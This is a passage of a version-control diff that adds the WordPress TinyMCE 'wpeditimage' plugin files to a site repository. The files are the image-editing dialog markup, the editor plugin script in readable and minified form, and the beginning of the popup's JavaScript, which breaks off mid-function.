+			<th valign="top" scope="row" class="label">
+				<label for="link_href">
+				<span class="alignleft" id="lb_link_href">{#advanced_dlg.link_url}</span>
+				</label>
+			</th>
+			<td class="field">
+				<input type="text" id="link_href" name="link_href" value="" size="60" /><br />
+				<input type="button" class="button" onclick="wpImage.I('link_href').value='';" value="{#wpeditimage.none}" />
+				<input type="button" class="button" id="img_url_current" onclick="wpImage.img_seturl('current')" value="{#wpeditimage.current_link}" />
+				<input type="button" class="button" id="img_url_img" onclick="wpImage.img_seturl('link')" value="{#wpeditimage.link_to_img}" />
+				<p class="help">{#wpeditimage.link_help}</p>
+			</td>
+		</tr>
+	</tbody>
+	</table></div>
+
+	<div id="div_advanced" style="display:none;">
+	<h3>{#wpeditimage.adv_img_settings}</h3>
+	<table id="adv_settings_img" class="describe">
+		<tbody>
+		<tr>
+			<th valign="top" scope="row" class="label">
+				<label for="img_src">
+				<span class="alignleft">{#wpeditimage.source}</span>
+				<span class="alignright"><abbr title="required" class="required">*</abbr></span>
+				</label>
+			</th>
+			<td class="field">
+				<input type="text" id="img_src" name="img_src" value="" onblur="wpImage.checkVal(this)" aria-required="true" size="60" />
+			</td>
+		</tr>
+		
+		<tr>
+			<th valign="top" scope="row" class="label">
+				<label for="img_alt">
+				<span class="alignleft">{#wpeditimage.alt}</span>
+				</label>
+			</th>
+			<td class="field">
+				<input type="text" id="img_alt" name="img_alt" value="" size="60" />
+			</td>
+		</tr>
+
+		<tr id="img_dim">
+			<th valign="top" scope="row" class="label">
+				<label>
+				<span class="alignleft">{#wpeditimage.size}</span>
+				</label>
+			</th>
+			<td class="field">
+				<label for="width">{#wpeditimage.width}</label>
+				<input type="text" maxlength="5" id="width" name="width"  value="" />
+
+				<label for="height">{#wpeditimage.height}</label>
+				<input type="text" maxlength="5" id="height" name="height" value="" />
+
+				<input type="button" class="button" id="orig_size" name="orig_size" value="{#wpeditimage.orig_size}" onclick="wpImage.origSize();" />
+			</td>
+		</tr>
+
+		<tr>
+			<th valign="top" scope="row" class="label">
+				<label for="img_classes">
+				<span class="alignleft">{#wpeditimage.css}</span>
+				</label>
+			</th>
+			<td class="field">
+				<input type="text" id="img_classes" name="img_classes" value="" size="60" />
+			</td>
+		</tr>
+
+		<tr>
+			<th valign="top" scope="row" class="label">
+				<label for="img_style">
+				<span class="alignleft">{#advanced.style_select}</span>
+				</label>
+			</th>
+			<td class="field">
+				<input type="text" id="img_style" name="img_style" value="" size="60" onblur="wpImage.demoSetStyle();" />
+			</td>
+		</tr>
+
+		<tr id="img_prop">
+			<th valign="top" scope="row" class="label">
+				<label for="img_prop">
+					<span class="alignleft">{#advanced.image_props_desc}</span>
+				</label>
+			</th>
+			<td class="field">
+				<label for="border">{#advanced_dlg.image_border}</label>
+				<input type="text" maxlength="5" id="border" name="border" value="" onblur="wpImage.updateStyle('border')" />
+
+				<label for="vspace">{#advanced_dlg.image_vspace}</label>
+				<input type="text" maxlength="5" id="vspace" name="vspace" value="" onblur="wpImage.updateStyle('vspace')" />
+
+				<label for="hspace">{#advanced_dlg.image_hspace}</label>
+				<input type="text" maxlength="5" id="hspace" name="hspace" value="" onblur="wpImage.updateStyle('hspace')" />
+			</td>
+		</tr>
+		</tbody>
+	</table>
+
+	<h3>{#wpeditimage.adv_link_settings}</h3>
+	<table id="adv_settings_link" class="describe">
+		<tbody>
+		<tr>
+			<th valign="top" scope="row" class="label">
+				<label for="link_title">
+				<span class="alignleft">{#advanced_dlg.link_titlefield}</span>
+				</label>
+			</th>
+			<td class="field">
+				<input type="text" id="link_title" name="link_title" value="" size="60" />
+			</td>
+		</tr>
+
+		<tr>
+			<th valign="top" scope="row" class="label">
+				<label for="link_rel">
+				<span class="alignleft">{#wpeditimage.link_rel}</span>
+				</label>
+			</th>
+			<td class="field">
+				<input type="text" id="link_rel" name="link_rel" value="" size="60" />
+			</td>
+		</tr>
+
+		<tr>
+			<th valign="top" scope="row" class="label">
+				<label for="link_classes">
+				<span class="alignleft">{#wpeditimage.css}</span>
+				</label>
+			</th>
+			<td class="field">
+				<input type="text" id="link_classes" name="link_classes" value="" size="60" />
+			</td>
+		</tr>
+
+		<tr>
+			<th valign="top" scope="row" class="label">
+				<label for="link_style">
+				<span class="alignleft">{#advanced.style_select}</span>
+				</label>
+			</th>
+			<td class="field">
+				<input type="text" id="link_style" name="link_style" value="" size="60" />
+			</td>
+		</tr>
+
+		<tr>
+			<th valign="top" scope="row" class="label">
+				<label>
+				<span class="alignleft">{#advanced_dlg.link_target}</span>
+				</label>
+			</th>
+			<td class="field">
+				<label for="link_target">
+				{#advanced_dlg.link_target_blank}
+				</label>
+				<input type="checkbox" id="link_target" name="link_target" value="_blank" />
+			</td>
+		</tr>
+		</tbody>
+	</table></div>
+
+	<div id="saveeditimg">
+		<input type="hidden" id="align" name="align" value="" />
+
+		<input type="submit" id="saveimg" class="button" value="{#update}" />
+		<input type="button" class="button" id="cancelimg" name="cancelimg" value="{#cancel}" onclick="tinyMCEPopup.close();" />
+	</div>
+</form>
+</div>
+
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/wpeditimage/editor_plugin.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/wpeditimage/editor_plugin.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/wpeditimage/editor_plugin.dev.js	(revision 44)
@@ -0,0 +1,243 @@
+
+(function() {
+	tinymce.create('tinymce.plugins.wpEditImage', {
+
+		init : function(ed, url) {
+			var t = this;
+
+			t.url = url;
+			t._createButtons();
+
+			// Register the command so that it can be invoked by using tinyMCE.activeEditor.execCommand('...');
+			ed.addCommand('WP_EditImage', function() {
+				var el = ed.selection.getNode(), vp = tinymce.DOM.getViewPort(), H = vp.h, W = ( 720 < vp.w ) ? 720 : vp.w, cls = ed.dom.getAttrib(el, 'class');
+
+				if ( cls.indexOf('mceItem') != -1 || cls.indexOf('wpGallery') != -1 || el.nodeName != 'IMG' )
+					return;
+
+				tb_show('', url + '/editimage.html?ver=321&TB_iframe=true');
+				tinymce.DOM.setStyles('TB_window', {
+					'width':( W - 50 )+'px',
+					'height':( H - 45 )+'px',
+					'margin-left':'-'+parseInt((( W - 50 ) / 2),10) + 'px'
+				});
+
+				if ( ! tinymce.isIE6 ) {
+					tinymce.DOM.setStyles('TB_window', {
+						'top':'20px',
+						'marginTop':'0'
+					});
+				}
+
+				tinymce.DOM.setStyles('TB_iframeContent', {
+					'width':( W - 50 )+'px',
+					'height':( H - 75 )+'px'
+				});
+				tinymce.DOM.setStyle( ['TB_overlay','TB_window','TB_load'], 'z-index', '999999' );
+			});
+
+			ed.onInit.add(function(ed) {
+				tinymce.dom.Event.add(ed.getWin(), 'scroll', function(e) {
+					ed.plugins.wpeditimage.hideButtons();
+				});
+			});
+
+			ed.onBeforeExecCommand.add(function(ed, cmd, ui, val) {
+				ed.plugins.wpeditimage.hideButtons();
+			});
+
+			ed.onSaveContent.add(function(ed, o) {
+				ed.plugins.wpeditimage.hideButtons();
+			});
+
+			ed.onMouseUp.add(function(ed, e) {
+				var n, DL;
+				
+				if ( tinymce.isOpera ) {
+					if ( e.target.nodeName == 'IMG' )
+						ed.plugins.wpeditimage.showButtons(e.target);
+				} else if ( ! tinymce.isWebKit ) {
+					n = ed.selection.getNode();
+					
+					if ( n.nodeName == 'IMG' && (DL = ed.dom.getParent(n, 'DL')) ) {					
+						window.setTimeout(function(){
+							var ed = tinyMCE.activeEditor, n = ed.selection.getNode(), DL = ed.dom.getParent(n, 'DL');
+						
+							if ( n.width != (parseInt(ed.dom.getStyle(DL, 'width')) - 10) ) {
+								ed.dom.setStyle(DL, 'width', parseInt(n.width)+10);
+								ed.execCommand('mceRepaint');
+							}
+						}, 100);
+					}
+				}
+			});
+
+			ed.onMouseDown.add(function(ed, e) {
+				if ( tinymce.isOpera || e.target.nodeName != 'IMG' ) {
+					t.hideButtons();
+					return;
+				}
+				ed.plugins.wpeditimage.showButtons(e.target);
+			});
+
+			ed.onKeyPress.add(function(ed, e) {
+				var DL, DIV, P;
+
+				if ( e.keyCode == 13 && (DL = ed.dom.getParent(ed.selection.getNode(), 'DL')) ) {
+					P = ed.dom.create('p', {}, '&nbsp;');
+					if ( (DIV = DL.parentNode) && DIV.nodeName == 'DIV' ) 
+						ed.dom.insertAfter( P, DIV );
+					else ed.dom.insertAfter( P, DL );
+
+					tinymce.dom.Event.cancel(e);
+					ed.selection.select(P);
+					return false;
+				}
+			});
+
+			ed.onBeforeSetContent.add(function(ed, o) {
+				o.content = t._do_shcode(o.content);
+			});
+
+			ed.onPostProcess.add(function(ed, o) {
+				if (o.get)
+					o.content = t._get_shcode(o.content);
+			});
+		},
+
+		_do_shcode : function(co) {
+			return co.replace(/\[(?:wp_)?caption([^\]]+)\]([\s\S]+?)\[\/(?:wp_)?caption\][\s\u00a0]*/g, function(a,b,c){
+				var id, cls, w, cap, div_cls;
+				
+				b = b.replace(/\\'|\\&#39;|\\&#039;/g, '&#39;').replace(/\\"|\\&quot;/g, '&quot;');
+				c = c.replace(/\\&#39;|\\&#039;/g, '&#39;').replace(/\\&quot;/g, '&quot;');
+				id = b.match(/id=['"]([^'"]+)/i);
+				cls = b.match(/align=['"]([^'"]+)/i);
+				w = b.match(/width=['"]([0-9]+)/);
+				cap = b.match(/caption=['"]([^'"]+)/i);
+
+				id = ( id && id[1] ) ? id[1] : '';
+				cls = ( cls && cls[1] ) ? cls[1] : 'alignnone';
+				w = ( w && w[1] ) ? w[1] : '';
+				cap = ( cap && cap[1] ) ? cap[1] : '';
+				if ( ! w || ! cap ) return c;
+				
+				div_cls = (cls == 'aligncenter') ? 'mceTemp mceIEcenter' : 'mceTemp';
+
+				return '<div class="'+div_cls+'"><dl id="'+id+'" class="wp-caption '+cls+'" style="width: '+(10+parseInt(w))+
+				'px"><dt class="wp-caption-dt">'+c+'</dt><dd class="wp-caption-dd">'+cap+'</dd></dl></div>';
+			});
+		},
+
+		_get_shcode : function(co) {
+			return co.replace(/<div class="mceTemp[^"]*">\s*<dl([^>]+)>\s*<dt[^>]+>([\s\S]+?)<\/dt>\s*<dd[^>]+>(.+?)<\/dd>\s*<\/dl>\s*<\/div>\s*/gi, function(a,b,c,cap){
+				var id, cls, w;
+				
+				id = b.match(/id=['"]([^'"]+)/i);
+				cls = b.match(/class=['"]([^'"]+)/i);
+				w = c.match(/width=['"]([0-9]+)/);
+
+				id = ( id && id[1] ) ? id[1] : '';
+				cls = ( cls && cls[1] ) ? cls[1] : 'alignnone';
+				w = ( w && w[1] ) ? w[1] : '';
+
+				if ( ! w || ! cap ) return c;
+				cls = cls.match(/align[^ '"]+/) || 'alignnone';
+				cap = cap.replace(/<\S[^<>]*>/gi, '').replace(/'/g, '&#39;').replace(/"/g, '&quot;');
+
+				return '[caption id="'+id+'" align="'+cls+'" width="'+w+'" caption="'+cap+'"]'+c+'[/caption]';
+			});
+		},
+
+		showButtons : function(n) {
+			var t = this, ed = tinyMCE.activeEditor, p1, p2, vp, DOM = tinymce.DOM, X, Y, cls = ed.dom.getAttrib(n, 'class');
+
+			if ( cls.indexOf('mceItem') != -1 || cls.indexOf('wpGallery') != -1 )
+				return;
+
+			vp = ed.dom.getViewPort(ed.getWin());
+			p1 = DOM.getPos(ed.getContentAreaContainer());
+			p2 = ed.dom.getPos(n);
+
+			X = Math.max(p2.x - vp.x, 0) + p1.x;
+			Y = Math.max(p2.y - vp.y, 0) + p1.y;
+
+			DOM.setStyles('wp_editbtns', {
+				'top' : Y+5+'px',
+				'left' : X+5+'px',
+				'display' : 'block'
+			});
+
+			t.btnsTout = window.setTimeout( function(){ed.plugins.wpeditimage.hideButtons();}, 5000 );
+		},
+
+		hideButtons : function() {
+			if ( tinymce.DOM.isHidden('wp_editbtns') ) return;
+
+			tinymce.DOM.hide('wp_editbtns');
+			window.clearTimeout(this.btnsTout);
+		},
+
+		_createButtons : function() {
+			var t = this, ed = tinyMCE.activeEditor, DOM = tinymce.DOM, wp_editbtns, wp_editimgbtn, wp_delimgbtn;
+
+			DOM.remove('wp_editbtns');
+
+			wp_editbtns = DOM.add(document.body, 'div', {
+				id : 'wp_editbtns',
+				style : 'display:none;'
+			});
+
+			wp_editimgbtn = DOM.add('wp_editbtns', 'img', {
+				src : t.url+'/img/image.png',
+				id : 'wp_editimgbtn',
+				width : '24',
+				height : '24',
+				title : ed.getLang('wpeditimage.edit_img')
+			});
+
+			wp_editimgbtn.onmousedown = function(e) {
+				var ed = tinyMCE.activeEditor;
+				ed.windowManager.bookmark = ed.selection.getBookmark('simple');
+				ed.execCommand("WP_EditImage");
+				this.parentNode.style.display = 'none';
+			};
+
+			wp_delimgbtn = DOM.add('wp_editbtns', 'img', {
+				src : t.url+'/img/delete.png',
+				id : 'wp_delimgbtn',
+				width : '24',
+				height : '24',
+				title : ed.getLang('wpeditimage.del_img')
+			});
+
+			wp_delimgbtn.onmousedown = function(e) {
+				var ed = tinyMCE.activeEditor, el = ed.selection.getNode(), p;
+
+				if ( el.nodeName == 'IMG' && ed.dom.getAttrib(el, 'class').indexOf('mceItem') == -1 ) {
+					if ( (p = ed.dom.getParent(el, 'div')) && ed.dom.hasClass(p, 'mceTemp') )
+						ed.dom.remove(p);
+					else if ( (p = ed.dom.getParent(el, 'A')) && p.childNodes.length == 1 )
+						ed.dom.remove(p);
+					else ed.dom.remove(el);
+
+					this.parentNode.style.display = 'none';
+					ed.execCommand('mceRepaint');
+					return false;
+				}
+			};
+		},
+
+		getInfo : function() {
+			return {
+				longname : 'Edit Image',
+				author : 'WordPress',
+				authorurl : 'http://wordpress.org',
+				infourl : '',
+				version : "1.0"
+			};
+		}
+	});
+
+	tinymce.PluginManager.add('wpeditimage', tinymce.plugins.wpEditImage);
+})();
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/wpeditimage/editor_plugin.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/wpeditimage/editor_plugin.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/wpeditimage/editor_plugin.js	(revision 44)
@@ -0,0 +1,1 @@
+(function(){tinymce.create("tinymce.plugins.wpEditImage",{init:function(a,b){var c=this;c.url=b;c._createButtons();a.addCommand("WP_EditImage",function(){var h=a.selection.getNode(),f=tinymce.DOM.getViewPort(),g=f.h,d=(720<f.w)?720:f.w,e=a.dom.getAttrib(h,"class");if(e.indexOf("mceItem")!=-1||e.indexOf("wpGallery")!=-1||h.nodeName!="IMG"){return}tb_show("",b+"/editimage.html?ver=321&TB_iframe=true");tinymce.DOM.setStyles("TB_window",{width:(d-50)+"px",height:(g-45)+"px","margin-left":"-"+parseInt(((d-50)/2),10)+"px"});if(!tinymce.isIE6){tinymce.DOM.setStyles("TB_window",{top:"20px",marginTop:"0"})}tinymce.DOM.setStyles("TB_iframeContent",{width:(d-50)+"px",height:(g-75)+"px"});tinymce.DOM.setStyle(["TB_overlay","TB_window","TB_load"],"z-index","999999")});a.onInit.add(function(d){tinymce.dom.Event.add(d.getWin(),"scroll",function(f){d.plugins.wpeditimage.hideButtons()})});a.onBeforeExecCommand.add(function(d,f,e,g){d.plugins.wpeditimage.hideButtons()});a.onSaveContent.add(function(d,e){d.plugins.wpeditimage.hideButtons()});a.onMouseUp.add(function(d,g){var h,f;if(tinymce.isOpera){if(g.target.nodeName=="IMG"){d.plugins.wpeditimage.showButtons(g.target)}}else{if(!tinymce.isWebKit){h=d.selection.getNode();if(h.nodeName=="IMG"&&(f=d.dom.getParent(h,"DL"))){window.setTimeout(function(){var e=tinyMCE.activeEditor,j=e.selection.getNode(),i=e.dom.getParent(j,"DL");if(j.width!=(parseInt(e.dom.getStyle(i,"width"))-10)){e.dom.setStyle(i,"width",parseInt(j.width)+10);e.execCommand("mceRepaint")}},100)}}}});a.onMouseDown.add(function(d,f){if(tinymce.isOpera||f.target.nodeName!="IMG"){c.hideButtons();return}d.plugins.wpeditimage.showButtons(f.target)});a.onKeyPress.add(function(d,i){var f,h,g;if(i.keyCode==13&&(f=d.dom.getParent(d.selection.getNode(),"DL"))){g=d.dom.create("p",{},"&nbsp;");if((h=f.parentNode)&&h.nodeName=="DIV"){d.dom.insertAfter(g,h)}else{d.dom.insertAfter(g,f)}tinymce.dom.Event.cancel(i);d.selection.select(g);return false}});a.onBeforeSetContent.add(function(d,e){e.content=c._do_shcode(e.content)});a.onPostProcess.add(function(d,e){if(e.get){e.content=c._get_shcode(e.content)}})},_do_shcode:function(a){return a.replace(/\[(?:wp_)?caption([^\]]+)\]([\s\S]+?)\[\/(?:wp_)?caption\][\s\u00a0]*/g,function(g,d,k){var j,f,e,h,i;d=d.replace(/\\'|\\&#39;|\\&#039;/g,"&#39;").replace(/\\"|\\&quot;/g,"&quot;");k=k.replace(/\\&#39;|\\&#039;/g,"&#39;").replace(/\\&quot;/g,"&quot;");j=d.match(/id=['"]([^'"]+)/i);f=d.match(/align=['"]([^'"]+)/i);e=d.match(/width=['"]([0-9]+)/);h=d.match(/caption=['"]([^'"]+)/i);j=(j&&j[1])?j[1]:"";f=(f&&f[1])?f[1]:"alignnone";e=(e&&e[1])?e[1]:"";h=(h&&h[1])?h[1]:"";if(!e||!h){return k}i=(f=="aligncenter")?"mceTemp mceIEcenter":"mceTemp";return'<div class="'+i+'"><dl id="'+j+'" class="wp-caption '+f+'" style="width: '+(10+parseInt(e))+'px"><dt class="wp-caption-dt">'+k+'</dt><dd class="wp-caption-dd">'+h+"</dd></dl></div>"})},_get_shcode:function(a){return a.replace(/<div class="mceTemp[^"]*">\s*<dl([^>]+)>\s*<dt[^>]+>([\s\S]+?)<\/dt>\s*<dd[^>]+>(.+?)<\/dd>\s*<\/dl>\s*<\/div>\s*/gi,function(g,d,j,h){var i,f,e;i=d.match(/id=['"]([^'"]+)/i);f=d.match(/class=['"]([^'"]+)/i);e=j.match(/width=['"]([0-9]+)/);i=(i&&i[1])?i[1]:"";f=(f&&f[1])?f[1]:"alignnone";e=(e&&e[1])?e[1]:"";if(!e||!h){return j}f=f.match(/align[^ '"]+/)||"alignnone";h=h.replace(/<\S[^<>]*>/gi,"").replace(/'/g,"&#39;").replace(/"/g,"&quot;");return'[caption id="'+i+'" align="'+f+'" width="'+e+'" caption="'+h+'"]'+j+"[/caption]"})},showButtons:function(d){var j=this,e=tinyMCE.activeEditor,g,f,a,i=tinymce.DOM,c,b,h=e.dom.getAttrib(d,"class");if(h.indexOf("mceItem")!=-1||h.indexOf("wpGallery")!=-1){return}a=e.dom.getViewPort(e.getWin());g=i.getPos(e.getContentAreaContainer());f=e.dom.getPos(d);c=Math.max(f.x-a.x,0)+g.x;b=Math.max(f.y-a.y,0)+g.y;i.setStyles("wp_editbtns",{top:b+5+"px",left:c+5+"px",display:"block"});j.btnsTout=window.setTimeout(function(){e.plugins.wpeditimage.hideButtons()},5000)},hideButtons:function(){if(tinymce.DOM.isHidden("wp_editbtns")){return}tinymce.DOM.hide("wp_editbtns");window.clearTimeout(this.btnsTout)},_createButtons:function(){var d=this,b=tinyMCE.activeEditor,e=tinymce.DOM,a,c,f;e.remove("wp_editbtns");a=e.add(document.body,"div",{id:"wp_editbtns",style:"display:none;"});c=e.add("wp_editbtns","img",{src:d.url+"/img/image.png",id:"wp_editimgbtn",width:"24",height:"24",title:b.getLang("wpeditimage.edit_img")});c.onmousedown=function(h){var g=tinyMCE.activeEditor;g.windowManager.bookmark=g.selection.getBookmark("simple");g.execCommand("WP_EditImage");this.parentNode.style.display="none"};f=e.add("wp_editbtns","img",{src:d.url+"/img/delete.png",id:"wp_delimgbtn",width:"24",height:"24",title:b.getLang("wpeditimage.del_img")});f.onmousedown=function(j){var g=tinyMCE.activeEditor,h=g.selection.getNode(),i;if(h.nodeName=="IMG"&&g.dom.getAttrib(h,"class").indexOf("mceItem")==-1){if((i=g.dom.getParent(h,"div"))&&g.dom.hasClass(i,"mceTemp")){g.dom.remove(i)}else{if((i=g.dom.getParent(h,"A"))&&i.childNodes.length==1){g.dom.remove(i)}else{g.dom.remove(h)}}this.parentNode.style.display="none";g.execCommand("mceRepaint");return false}}},getInfo:function(){return{longname:"Edit Image",author:"WordPress",authorurl:"http://wordpress.org",infourl:"",version:"1.0"}}});tinymce.PluginManager.add("wpeditimage",tinymce.plugins.wpEditImage)})();
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/wpeditimage/js/editimage.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/wpeditimage/js/editimage.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/wpeditimage/js/editimage.js	(revision 44)
@@ -0,0 +1,607 @@
+
+var tinymce = null, tinyMCEPopup, tinyMCE;
+
+tinyMCEPopup = {
+	init: function() {
+		var t = this, w, ti, li, q, i, it;
+
+		li = ('' + document.location.search).replace(/^\?/, '').split('&');
+		q = {};
+		for (i=0; i<li.length; i++) {
+			it = li[i].split('=');
+			q[unescape(it[0])] = unescape(it[1]);
+		}
+
+		if (q.mce_rdomain)
+			document.domain = q.mce_rdomain;
+
+		// Find window & API
+		w = t.getWin();
+		tinymce = w.tinymce;
+		tinyMCE = w.tinyMCE;
+		t.editor = tinymce.EditorManager.activeEditor;
+		t.params = t.editor.windowManager.params;
+
+		// Setup local DOM
+		t.dom = t.editor.windowManager.createInstance('tinymce.dom.DOMUtils', document);
+		t.editor.windowManager.onOpen.dispatch(t.editor.windowManager, window);
+	},
+
+	getWin : function() {
+		return window.dialogArguments || opener || parent || top;
+	},
+
+	getParam : function(n, dv) {
+		return this.editor.getParam(n, dv);
+	},
+
+	close : function() {
+		var t = this, win = t.getWin();
+
+		// To avoid domain relaxing issue in Opera
+		function close() {
+			win.tb_remove();
+			tinymce = tinyMCE = t.editor = t.dom = t.dom.doc = null; // Cleanup
+		};
+
+		if (tinymce.isOpera)
+			win.setTimeout(close, 0);
+		else
+			close();
+	},
+
+	execCommand : function(cmd, ui, val, a) {
+		a = a || {};
+		a.skip_focus = 1;
+
+		this.restoreSelection();
+		return this.editor.execCommand(cmd, ui, val, a);
+	},
+
+	storeSelection : function() {
+		this.editor.windowManager.bookmark = tinyMCEPopup.editor.selection.getBookmark('simple');
+	},
+
+	restoreSelection : function() {
+		var t = tinyMCEPopup;
+
+		if (tinymce.isIE)
+			t.editor.selection.moveToBookmark(t.editor.windowManager.bookmark);
+	}
+}
+tinyMCEPopup.init();
+
+var wpImage = {
+	preInit : function() {
+		// import colors stylesheet from parent
+		var win = tinyMCEPopup.getWin();
+		var styles = win.document.styleSheets;
+
+		for ( i = 0; i < styles.length; i++ ) {
+			var url = styles.item(i).href;
+			if ( url && url.indexOf('colors') != -1 )
+				document.write( '<link rel="stylesheet" href="'+url+'" type="text/css" media="all" />' );
+		}
+	},
+
+	I : function(e) {
+		return document.getElementById(e);
+	},
+
+	current : '',
+	link : '',
+	link_rel : '',
+	target_value : '',
+	current_size_sel : 's100',
+	width : '',
+	height : '',
+	align : '',
+	img_alt : '',
+
+	setTabs : function(tab) {
+		var t = this;
+
+		if ( 'current' == tab.className ) return false;
+		t.I('div_advanced').style.display = ( 'tab_advanced' == tab.id ) ? 'block' : 'none';
+		t.I('div_basic').style.display = ( 'tab_basic' == tab.id ) ? 'block' : 'none';
+		t.I('tab_basic').className = t.I('tab_advanced').className = '';
+		tab.className = 'current';
+		return false;
+	},
+
+	img_seturl : function(u) {
+		var t = this, rel = t.I('link_rel').value;
+
+		if ( 'current' == u ) {
+			t.I('link_href').value = t.current;
+			t.I('link_rel').value = t.link_rel;
+		} else {
+			t.I('link_href').value = t.link;
+			if ( rel ) {
+				rel = rel.replace( /attachment|wp-att-[0-9]+/gi, '' );
+				t.I('link_rel').value = tinymce.trim(rel);
+			}
+		}
+	},
+
+	imgAlignCls : function(v) {
+		var t = this, cls = t.I('img_classes').value;
+
+		t.I('img_demo').className = t.align = v;
+
+		cls = cls.replace( /align[^ "']+/gi, '' );
+		cls += (' ' + v);
+		cls = cls.replace( /\s+/g, ' ' ).replace( /^\s/, '' );
+
+		if ( 'aligncenter' == v ) {
+			t.I('hspace').value = '';
+			t.updateStyle('hspace');
+		}
+
+		t.I('img_classes').value = cls;
+	},
+
+	showSize : function(el) {
+		var t = this, demo = t.I('img_demo'), w = t.width, h = t.height, id = el.id || 's100', size;
+
+		size = parseInt(id.substring(1)) / 200;
+		demo.width = Math.round(w * size);
+		demo.height = Math.round(h * size);
+
+		t.showSizeClear();
+		el.style.borderColor = '#A3A3A3';
+		el.style.backgroundColor = '#E5E5E5';
+	},
+
+	showSizeSet : function() {
+		var t = this;
+
+		if ( (t.width * 1.3) > parseInt(t.preloadImg.width) ) {
+			var s130 = t.I('s130'), s120 = t.I('s120'), s110 = t.I('s110');
+
+			s130.onclick = s120.onclick = s110.onclick = null;
+			s130.onmouseover = s120.onmouseover = s110.onmouseover = null;
+			s130.style.color = s120.style.color = s110.style.color = '#aaa';
+		}
+	},
+
+	showSizeRem : function() {
+		var t = this, demo = t.I('img_demo'), f = document.forms[0];
+
+		demo.width = Math.round(f.width.value * 0.5);
+		demo.height = Math.round(f.height.value * 0.5);
+		t.showSizeClear();
+		t.I(t.current_size_sel).style.borderColor = '#A3A3A3';
+		t.I(t.current_size_sel).style.backgroundColor = '#E5E5E5';
+
+		return false;
+	},
+
+	showSizeClear : function() {
+		var divs = this.I('img_size').getElementsByTagName('div');
+
+		for ( i = 0; i < divs.length; i++ ) {
+			divs[i].style.borderColor = '#f1f1f1';
+			divs[i].style.backgroundColor = '#f1f1f1';
+		}
+	},
+
+	imgEditSize : function(el) {
+		var t = this, f = document.forms[0];
+
+		if ( ! t.preloadImg || ! t.preloadImg.width || ! t.preloadImg.height )	return;
+		var W = parseInt(t.preloadImg.width), H = parseInt(t.preloadImg.height), w = t.width || W, h = t.height || H, id = el.id || 's100';
+
+		size = parseInt(id.substring(1)) / 100;
+
+		w = Math.round(w * size);
+		h = Math.round(h * size);
+
+		f.width.value = Math.min(W, w);
+		f.height.value = Math.min(H, h);
+
+		t.current_size_sel = id;
+		t.demoSetSize();
+	},
+
+	demoSetSize : function(img) {
+		var demo = this.I('img_demo'), f = document.forms[0];
+
+		demo.width = f.width.value ? Math.round(f.width.value * 0.5) : '';
+		demo.height = f.height.value ? Math.round(f.height.value * 0.5) : '';
+	},
+
+	demoSetStyle : function() {
+		var f = document.forms[0], demo = this.I('img_demo'), dom = tinyMCEPopup.editor.dom;
+
+		if (demo) {
+			dom.setAttrib(demo, 'style', f.img_style.value);
+			dom.setStyle(demo, 'width', '');
+			dom.setStyle(demo, 'height', '');
+		}
+	},
+
+	origSize : function() {
+		var t = this, f = document.forms[0], el = t.I('s100');
+
+		f.width.value = t.width = t.preloadImg.width;
+		f.height.value = t.height = t.preloadImg.height;
+		t.showSizeSet();
+		t.demoSetSize();
+		t.showSize(el);
+	},
+
+	init : function() {
+		var ed = tinyMCEPopup.editor, h;
+
+		h = document.body.innerHTML;
+
+		// Replace a=x with a="x" in IE
+		if (tinymce.isIE)
+			h = h.replace(/ (value|title|alt)=([^"][^\s>]+)/gi, ' $1="$2"')
+
+		document.body.innerHTML = ed.translate(h);
+		window.setTimeout( function(){wpImage.setup();}, 100 );
+	},
+
+	setup : function() {
+		var t = this, h, c, el, id, link, fname, f = document.forms[0], ed = tinyMCEPopup.editor, d = t.I('img_demo'), dom = tinyMCEPopup.dom, DL, caption = '';
+		document.dir = tinyMCEPopup.editor.getParam('directionality','');
+
+		if ( tinyMCEPopup.editor.getParam('wpeditimage_disable_captions', false) )
+			t.I('cap_field').style.display = 'none';
+
+		tinyMCEPopup.restoreSelection();
+		el = ed.selection.getNode();
+		if (el.nodeName != 'IMG') return;
+
+		f.img_src.value = d.src = link = ed.dom.getAttrib(el, 'src');
+		ed.dom.setStyle(el, 'float', '');
+		t.getImageData();
+		c = ed.dom.getAttrib(el, 'class');
+
+		if ( DL = dom.getParent(el, 'dl') ) {
+			var dlc = ed.dom.getAttrib(DL, 'class');
+			dlc = dlc.match(/align[^ "']+/i);
+			if ( dlc && ! dom.hasClass(el, dlc) ) {
+				c += ' '+dlc;
+				tinymce.trim(c);
+			}
+
+			tinymce.each(DL.childNodes, function(e) {
+				if ( e.nodeName == 'DD' && dom.hasClass(e, 'wp-caption-dd') ) {
+					caption = e.innerHTML;
+					return;
+				}
+			});
+		}
+
+		f.img_cap.value = caption;
+		f.img_title.value = ed.dom.getAttrib(el, 'title');
+		f.img_alt.value = ed.dom.getAttrib(el, 'alt');
+		f.border.value = ed.dom.getAttrib(el, 'border');
+		f.vspace.value = ed.dom.getAttrib(el, 'vspace');
+		f.hspace.value = ed.dom.getAttrib(el, 'hspace');
+		f.align.value = ed.dom.getAttrib(el, 'align');
+		f.width.value = t.width = ed.dom.getAttrib(el, 'width');
+		f.height.value = t.height = ed.dom.getAttrib(el, 'height');
+		f.img_classes.value = c;
+		f.img_style.value = ed.dom.getAttrib(el, 'style');
+
+		// Move attribs to styles
+		if (dom.getAttrib(el, 'hspace'))
+			t.updateStyle('hspace');
+
+		if (dom.getAttrib(el, 'border'))
+			t.updateStyle('border');
+
+		if (dom.getAttrib(el, 'vspace'))
+			t.updateStyle('vspace');
+
+		if (pa = ed.dom.getParent(el, 'A')) {
+			f.link_href.value = t.current = ed.dom.getAttrib(pa, 'href');
+			f.link_title.value = ed.dom.getAttrib(pa, 'title');
+			f.link_rel.value = t.link_rel = ed.dom.getAttrib(pa, 'rel');
+			f.link_style.value = ed.dom.getAttrib(pa, 'style');
+			t.target_value = ed.dom.getAttrib(pa, 'target');
